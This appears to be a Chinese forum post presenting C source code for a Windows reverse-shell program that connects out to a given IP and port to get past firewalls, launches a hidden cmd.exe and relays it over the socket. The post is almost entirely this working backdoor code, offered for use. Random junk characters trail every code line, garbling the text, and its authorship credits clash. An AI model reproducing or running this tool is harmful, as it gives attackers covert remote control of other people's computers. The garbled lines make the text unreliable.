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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 yn`H}@`k  
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/* ============================== ix6j=5{  
Rebound port in Windows NT `@-H ;  
By wind,2006/7 3~"G27,  
===============================*/ cgml^k\k^  
#include c:4 i&|n  
#include "Bn!<h}mg  
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#pragma comment(lib,"wsock32.lib") 5%uLs}{\q  
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void OutputShell(); Nx,.4CI  
SOCKET sClient; w {6kU   
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; vz/.*u  
pWK7B`t  
void main(int argc,char **argv) epR7p^`7  
{ v2/@Pu!kg  
WSADATA stWsaData; 1iig0l6\m  
int nRet; #r>  
SOCKADDR_IN stSaiClient,stSaiServer; j l%27Ld  
a%V6RyT4qW  
if(argc != 3) t4~Bn<=  
{ P^T]Ubv"  
printf("Useage:\n\rRebound DestIP DestPort\n"); -n+ =[M  
return; c|IH|y  
} Z!v)zH\  
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WSAStartup(MAKEWORD(2,2),&stWsaData); Xw_AZ-|1D  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); R~PD[.\u  
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stSaiClient.sin_family = AF_INET; +?DP r  
stSaiClient.sin_port = htons(0); *FmY4w  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ?45bvkCT  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) \mbm$E+X  
{ sWa`-gc  
printf("Bind Socket Failed!\n"); }f?$QSF  
return; W&T -E,  
} M4~^tML>Ey  
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stSaiServer.sin_family = AF_INET; :Z3Tyj}4  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); W; P8=q  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); lpv Z[^G  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) tHgu#k0  
{ $~W =)f9  
printf("Connect Error!"); WzDL(~m+Z  
return; #R-l2OO^]  
} A]c'`Nf  
OutputShell(); U["'>&B  
} (kCzz-_\  
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void OutputShell() 5%Hw,h   
{ mu@He&w"  
char szBuff[1024]; suiO%H^t  
SECURITY_ATTRIBUTES stSecurityAttributes; ] -iMo4H  
OSVERSIONINFO stOsversionInfo; CC"}aV5  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 9kZ[Z ,=>  
STARTUPINFO stStartupInfo; ?d&l_Pa0e  
char *szShell; <$metN~9j  
PROCESS_INFORMATION stProcessInformation; % 8u97f W  
unsigned long lBytesRead; Ymt.>8L  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ObnQ,x(  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); (JenTL`%u  
stSecurityAttributes.lpSecurityDescriptor = 0; AWo\u!j  
stSecurityAttributes.bInheritHandle = TRUE; UNY O P{  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 8~* |muN.e  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); [ *P~\' U  
'1P~"P3  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); >h)D~U(H  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &|MdBJ  
stStartupInfo.wShowWindow = SW_HIDE; W2yNwB+{  
stStartupInfo.hStdInput = hReadPipe; nM#/uuRl|  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; N(c`h  
#$n >+ lc  
GetVersionEx(&stOsversionInfo); -j& A;G  
^hZZ5(</8P  
switch(stOsversionInfo.dwPlatformId) w eX%S&#?  
{ _?~EWT   
case 1: ,! b9  
szShell = "command.com"; #w]UP#^io  
break; y Ny,$1  
default: kZ5;Fe\*  
szShell = "cmd.exe"; S,0h &A9  
break; ^-nL!>FYY  
} c`,'[Q5(O  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); W=G8l%  
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send(sClient,szMsg,77,0); qL2!\zt>g  
while(1) <Fo~|Nh|  
{ 1#tFO  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); n Nu~)X  
if(lBytesRead) h8XoF1wuw  
{ {3Y R_^>?  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); kLE("I:7  
send(sClient,szBuff,lBytesRead,0); 9u?[{h.`B  
} }vK8P r%  
else ;}B6`v  
{ S/,)X  
lBytesRead=recv(sClient,szBuff,1024,0); NdxPC~Z+  
if(lBytesRead<=0) break; 6K7DZ96L  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); pG&#xRk  
} K&4FFZ  
} 3kz O VZ  
.RW&=1D6  
return; *(g0{V  
}
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